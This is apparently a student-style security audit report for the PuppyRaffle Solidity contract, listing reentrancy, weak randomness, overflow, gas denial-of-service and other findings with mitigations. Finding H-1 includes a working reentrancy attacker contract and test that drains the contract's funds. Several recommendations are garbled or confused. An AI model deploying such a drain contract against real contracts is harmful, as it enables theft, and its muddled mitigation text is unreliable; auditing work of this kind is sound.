PuppyRaffle Audit Report

Version 1.0

MD ASID AHAMED

February 4, 2024

PuppyRaffle Audit Report

MD ASIF AHAMED

FEB 7, 2024

Prepared by: Md Asif Ahamed Lead Auditors - Md Asif Ahamed

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

I, Md Asif Ahamed made all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the the findings provided in this document. A security audit by meis not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash: - Commit Hash: 22bbbb2c47f3f2b78c1b134590baf41383fd354f - In Scope:

Scope

```
./src/
--- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Info	4
Gas Optimizations	2
Total	13

Findings

High

[H-1] Upadting State Variable After Low Level Call Leads To ReentracyAttack ,Means All The Fund Can Be Stealed.

Description: The `PuppyRaffle::refund` function updates state variable `PuppfyRaffle::players` array sendeing sending value to the caller.

```
@>  payable(msg.sender).sendValue(entranceFee);

    players[playerIndex] = address(0);
```

Which leads to `ReenteracyAttack`. Through this attack an attacker cann again again `PuppyRaffle::refund` function untill the contract balance reaches to zero which is impacts massive loss.

Impact: The Funds Stored On Contract Are Not Secure. Can Be Taken By A Single Entity.

Proof of Concept: The May Create Contract With The Initialiazation of Victim i.e(`PuppyRaffle`) Contract. And Set Up A Fallback Or Receive Function As Low Level Call Fall Into These Two Fnction We Can Again Call The Targeted Function Of The Victim i.e(`PuppyRaffle`) Contract Again Again Until The Attacker Conditon Meets (Notes : If A Contract Call A Low Level Fucntion Call Of A Another Contract The Low Level Call First Return Back to the Contract That Has Called The Low Level Call)

Below The Code DemosTration The Full Scecenrio

Attacker Contract

```
contract ReentraceyAttackOnPuppyRaffle {

    PuppyRaffle puppyRafle;

    uint256 attackerIndex;

    uint256 enteranceFee;

    constructor(address _puppyRaffle, uint256 _entranceFee){
        puppyRafle = PuppyRaffle(_puppyRaffle);
        enteranceFee = _entranceFee;
    }

    function atttack() external payable{
        address[] memory attackers = new address[](1);
        attackers[0] = address(this);
```

```
17          puppyRafle.enterRaffle{value:enteranceFee}(attackers);
18
19          attackerIndex = puppyRafle.getActivePlayerIndex(address(this));
20
21          puppyRafle.refund(attackerIndex);
22      }
23
24      function _steal() internal {
25          if(address(puppyRafle).balance >= enteranceFee){
26              puppyRafle.refund(attackerIndex);
27          }
28      }
29
30      fallback() external payable {
31          _steal();
32      }
33
34      receive() external payable {
35          _steal();
36      }
37  }
```

You can the Below Test On Foundry

```
1  forge test --match-test testreentractyAttckTest
```

Test Case Code

```
1       function testreentractyAttckTest() public{
2           address[] memory players = new address[](4);
3           players[0] = playerOne;
4           players[1] = playerTwo;
5           players[2] = playerThree;
6           players[3] = playerFour;
7           puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8
9           uint256 startingPuffyRaffleBalance = address(puppyRaffle).
                balance;
10
11          address attacker = makeAddr("attacker");
12
13          vm.deal(attacker, 2 ether);
14
15          ReentraceyAttackOnPuppyRaffle  reeentraceAttacker = new
                ReentraceyAttackOnPuppyRaffle(address(puppyRaffle),
                entranceFee);
16
17          uint256 startingAttackerContractBalance = address(
                reeentraceAttacker).balance;
18
19          // attakce
```

```
20
21          vm.prank(attacker);
22          reeentraceAttacker.atttack{value:entranceFee}();
23
24          uint256 endingBalanceOfAttackerContract = address(
                reeentraceAttacker).balance;
25          uint256 endingBalanceOfpuppyContract = address(puppyRaffle).
                balance;
26
27          console.log("Attacker Balance Before Attack",
                startingAttackerContractBalance);
28
29          console.log("Puupyy Balance Before Attack",
                startingPuffyRaffleBalance);
30
31          console.log("Ending Blance Of Attaker Contarct",
                endingBalanceOfAttackerContract);
32          console.log("Ending Blance Of Puppy Contarct",
                endingBalanceOfpuppyContract);
33
34          assert(address(puppyRaffle).balance==0);
35
36      }
```

Recommended Mitigation: There Are Recommended Few Mitigation On This Specific Atack Vector You Choose As Per Requiements

1. Update State Variable Before Low Level Call.

```
1 +     players[playerIndex] = address(0);
2       payable(msg.sender).sendValue(entranceFee);
```

```
1       payable(msg.sender).sendValue(entranceFee);
2 -     players[playerIndex] = address(0);
```

2. Or Use A nonReentrant Modifier From Openzeppelin.

Refactored refund Function With The Modifier

```
1       function refund(uint256 playerIndex) nonReentrant public {
2           address playerAddress = players[playerIndex];
3           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
4           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
5
6           payable(msg.sender).sendValue(entranceFee);
7
8           players[playerIndex] = address(0);
9           emit RaffleRefunded(playerAddress);
```

```
10      }
```

Find More About `ReentrancyGuard` From Openzeppelin

[H-2] Generating Random Random Number On Chain Is Predictable, Leads To Successfully Guess Winner.

Description: At The `PuppyRaffle::selectWinner` function selecting wiiner index using on cahin random winner is highly vunrable `uint256 winnerIndex =int256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;`. Here `block.timestamp` is adjsutable by the miner and `block.difficulty` is not a tru difficulty it come from previous block which is open to miner. See more details on `EIP-4339` at security sections.

Impact: Winner Can Be Predicted & Made By Miners Choice.

Recommended Mitigation: Generating Random Number On-Chain Is Not Recommended. User One Chain Number Generation Services of Chainlink Like `Chainlink VRF` is Recommended.

[H-3] Without Checks Arithmatic Opeartions In Sloidity Before Version 0.8.0 Leads To Oveflow/UnderFlow Intergers, Has Impact On The Value.

Description: At The `PuppyRaffle::selectWinner` Function There Are Some Arithmatic Opeartions Have Been Done.

```
1 @>      uint256 prizePool = (totalAmountCollected * 80) / 100;
2         uint256 fee = (totalAmountCollected * 20) / 100;
3         totalFees = totalFees + uint64(fee);
```

Above The Operation Result Must Have Checks After The Operations. Because The Contract Has Been Written In Solidity Version 0.7.6 And In That Version Solidity Does Not Chekcs For OverFlowAnd UnderFlow. From The Solidity Version 0.8.0 It Checks For OverFlow And UnderFlow.

Impact: Unexpected/Arbitary Result.

Proof of Concept: Below The Is A Contract Nemed `Oveflow` in The `PuppuyRaffle.t.sol` File And Also There Is A Test Case Named `testOveFlow` You Can Run The Test Fucntion See The Output In The Console From The Command Line

type and hit enter

```
1 forge test --match-test testOveFlow -vvv
```

Contract Overflow

```
contract OverFlow{
    uint8 public amount;

    function increment(uint8 _number) public{
        amount = amount + _number;
    }
}
```

OverFlowTest

```
    function testOveFlow () public {

        OverFlow overFlow = new OverFlow();

        overFlow.increment(255);
        console.log("Highest Value in Uint8",overFlow.amount());
        assert(overFlow.amount()==255);

        // Now If We try  to Add More One In The Amount Then it Will
           Set To zero
        // Like 255+ 1 =0; as uint8 has 2^8-1 = 255 which highest value
            in iteger it can store

         overFlow.increment(1);
        console.log("Overflown After Addition Value in Uint8",overFlow.
           amount());
        assert(overFlow.amount()==0);


    }
```

type and hit enter

```
forge test --match-test testTotalFeesOverflow -vvv
```

PuppyRaffleOverFlow Test Code

```

function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
```

```
13          for (uint256 i = 0; i < playersNum; i++) {
14              players[i] = address(i);
15          }
16          puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
                players);
17          // We end the raffle
18          vm.warp(block.timestamp + duration + 1);
19          vm.roll(block.number + 1);
20
21          // And here is where the issue occurs
22          // We will now have fewer fees even though we just finished a
                second raffle
23          puppyRaffle.selectWinner();
24
25          uint256 endingTotalFees = puppyRaffle.totalFees();
26          console.log("ending total fees", endingTotalFees);
27          assert(endingTotalFees < startingTotalFees);
28
29          // We are also unable to withdraw any fees because of the
                require check
30          vm.prank(puppyRaffle.feeAddress());
31          vm.expectRevert("PuppyRaffle: There are currently players
                active!");
32          puppyRaffle.withdrawFees();
33      }
```

Recommended Mitigation: There Are Few Mitigation Steps That Van Be Taken. 1. Check For Expected Value After The Arithmatic Opeartion. 2. Update The Version Of The Solidity To 0.8.0 Or More. 3. Use Libray From `Openzeppelin Math Libray` For Arithmatic Operation.

Medium

[M-1] Looping Through Array For Checking Duplicates Leads To DOS Attack, Which Causes Rise In Gas For Later Participants.

Description: At `PuffyRaffle:enterRaffle` checks for duplicates of players address.

```
1  @>       // Check for duplicates
2           // @audit DOS
3           for (uint256 i = 0; i < players.length - 1; i++) {
4               for (uint256 j = i + 1; j < players.length; j++) {
5                   require(players[i] != players[j], "PuppyRaffle:
                        Duplicate player");
6               }
7           }
```

As the `PuffyRaffle:players` array gets largers the cost of gas will be raised as more iterration

will be done on reading state varibale s `players` array. This leads to that participants who enter first will pay less gas than who enters later this will create discouraegment amount the users to use the protocol and there will be rush to use the protocol first

Impact: The more players enter the more gas price rises. Which Creates Discouragement Amount The User. And Will Create A Rush To Join The Protocol.

Proof of Concept: Check Out The Test Function of `PuffyRaffleTest.t.sol:: testDosAttack`

.

POC

```
        function testDosAttack() public{
        vm.txGasPrice(1);

        uint256 playersNumbers = 100;

        address [] memory players = new address[](playersNumbers);

        // Dummy first array of 100
        for(uint256 i =0; i< playersNumbers; i++){
            players[i] = address(i);

        }

       uint256 gasStart1 = gasleft();

        puppyRaffle.enterRaffle{value: entranceFee * playersNumbers}(
           players);

        uint256 gasEnd1 = gasleft();

        // gas used For First 100 plyaers enetrance
        uint256 gasUsed1 = gasStart1 - gasEnd1;


        address [] memory players2 = new address[](playersNumbers);

        for(uint256 i =0; i< playersNumbers; i++){
            players2[i] = address(i+playersNumbers);

        }

        uint256 gasStart2 = gasleft();

        puppyRaffle.enterRaffle{value: entranceFee * playersNumbers}(
           players2);

        uint256 gasEnd2 = gasleft();

```

```
37          // gas used For Second 100 plyaers enetrance
38          uint256 gasUsed2 = gasStart2 - gasEnd2;
39          console.log("Gas Used For First 100 Players enterance",
                gasUsed1);
40          console.log("Gas Used For Second 100 Players enterance",
                gasUsed2);
41
42
43          assert(gasUsed2> gasUsed1);
44
45      }
```

run the test

```
1 forge test --match-test testDosAttack
```

Recommended Mitigation: There Are Few Recommended Mitigations. 1. Consider Adding Duplicate Address. As user Can Create Multiple Address From Wallet Add them To The Array Which Also Will be Diffrent Addres Address But Created By Same User. 2. Use Players Id Which Provide Every single A id And It Maps To A Mapping And Check that Mapping.

[M-2] At `PuppyRaffle::selectWinner` fund sending are not safe for smart contract, Funds can be locked and winner not be able to receive prizepool.

Description: At `PuppyRaffle::selectWinner` function it sends fund to the winner uisng low-level call if a winner is smart-contract i.e (A MultiSig Wallet) and it `fallback` or `receive` function is not set correctly it will not be able to accept the the wiinig prize pool and user will try again to thinking that he has not won but this will result waste of gas and the function `PuppyRaffle::selectWinner` will not reset the array.

Impact: if the winner is a contract and that is prpoerly configured with `fallback` or `receive` it will not be able to accept prizePool.

Proof of Concept:

1. A Smart Contract Enters The Raffle.
2. And Wins The Raffle.
3. But The Winning Smart Contract Does Not Have `fallback` and `receive` The Contract Will Not Be Able To Accept Ether.

Recommended Mitigation: The Mitigation Can Be Done By Using `Push and Pull` method. Let the User Store Their Fund on the Contract. And After The SuccecssFull raflle Let The Winner To Pull Their Prize From The Contract. Which Also Reduce The Risk Of Using Low-Level Call.

[M-3] Mishandling Of Ether At `PuppyRaffle::withdrawFees` funds will locked and no be able to withdraw fess.

Description: At `PuppyRaffle::withdrawFees` there is validation of contract balance

```
1
2 @>     require(address(this).balance == uint256(totalFees), "PuppyRaffle
      : There are currently players active!");
```

if the some malicious actor send some ether toh contract and the contract balance wil be always greater than `Pupuraffle::totalFees` and and make the statement always true which results reverts the transaction leads to locking the fund. **Impact:** Fee Will Not Be Able to Withdraw.

Proof of Concept: 1. Some Malicious User Send Some Ether To The Contract. 2. Which Increase The Contract Balance. 3. Which Also Makes The Balance Of The Contract Cotract More Than The Fee Afre The Raffle. 4. And This Result Not To be Abble To Withdraw Fees.

Recommended Mitigation: Don't Compare It Contract Balance, If The Fee Amount is reached Width-drwa The Fees.

Low

[L-1] At `PuppyRaffle::getPlayersIndex` for non-exiting it returns 0 (Zero), but i checks the player insex from the arry and in the array at index 0(Zero) there will players which perheps create confusion among the player that he/she is not active.

Description: It perheps create confusion among the players as `PuppyRaffle::getPlayersIndex` returns 0 for non-exiting player after the checking from array it but in array at index 0 ther must be some elememnet/address which is not correct result.

Impact: A player at `PuppyRaffle::players` array at index 0 and call `PuppyRaffle::getPlayersIndex` to get his index he will get 0 and perheps he can think that he is not in the array and try to re enter the raffle.

Proof of Concept:

1. Player enter the raffle for first and get index position 0 at `PuppyRaffle::players` array
2. And try to get his index by calling `PuppyRaffle::getPlayersIndex` and get return index 0 .
3. As per natspect documention he perheps think he is not in the raffle.

Recommended Mitigation: The easiet way to prevent this is use revert the transaction if the player is not in the array and return 0 zero index for exiting player.

or better can be used `int128` which will return `-1` if the players is not in the array.

Informational

[I-1] Solidity pragma should be specific, not wide.

It is recommended to use sepecific verison of Solidity in the `PuupyRaffle.sol` use `pragma solidity 0.8.0` instead of `pragma solidity ^0.7.6`.

- Found in `./src/PuupyRaffle.sol`.

[I-2] using outdated Version of Solidity is not recommended.

`solc` frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex `pragma` statement.

##Recommendation Deploy with the following Solidity versions: - 0.8.18

The recommendations take into account:

- Risks related to recent releases
- Risks of complex code generation changes
- Risks of new language features
- Risks of known bugs

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 62

```
1          feeAddress = _feeAddress;
```

[I-4]: Using Magic numbers in the codebase is not recommeded.

Using number literals on the codebase is confusing to read use constant value for increasing readability of the code.

- Instead using lietrals

```
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
```

- Replace `20,80,100` With Constant

“‘javascript uint256 private constant PRIZE_POOL=80 uint256 private constant FEE=20 uint256 private constant PRECISION=100

Gas

[G-1] Unchanged varibales shloud be used with keword immubale , constant.

Reading from state varible is more expensive than reading from immutable or constant.

Recommended Mitigation

- At `PuppyRaffle::raffleDuration` should be `immutable`.
- At `PuppyRaffle::commonImageUri` should be `constant`.
- At `PuppyRaffle::rareImageUri` should be `constant`.
- At `PuppyRaffle::legendaryImageUri` should be `constant`.

[G-2] Storage varibales in loops should be cached.

Using `players.length` to read from states is gas exepnsive, using canced varible in memory is gas efficient.

“‘diff - for (uint256 i = 0; i < players.length - 1; i++) { - for (uint256 j = i + 1; j < players.length; j++) { - require(players[i] != players[j], “PuppyRaffle: Duplicate player”); - } - }

- uint256 totalPlayers = players.length;
- for (uint256 i = 0; i < totalPlayers - 1; i++) {

```
        for (uint256 j = i + 1; j < totalPlayers; j++) {
```

```
            require(players[i] != players[j], "PuppyRaffle:
                Duplicate player");
```

```
        }
```

```
    }
```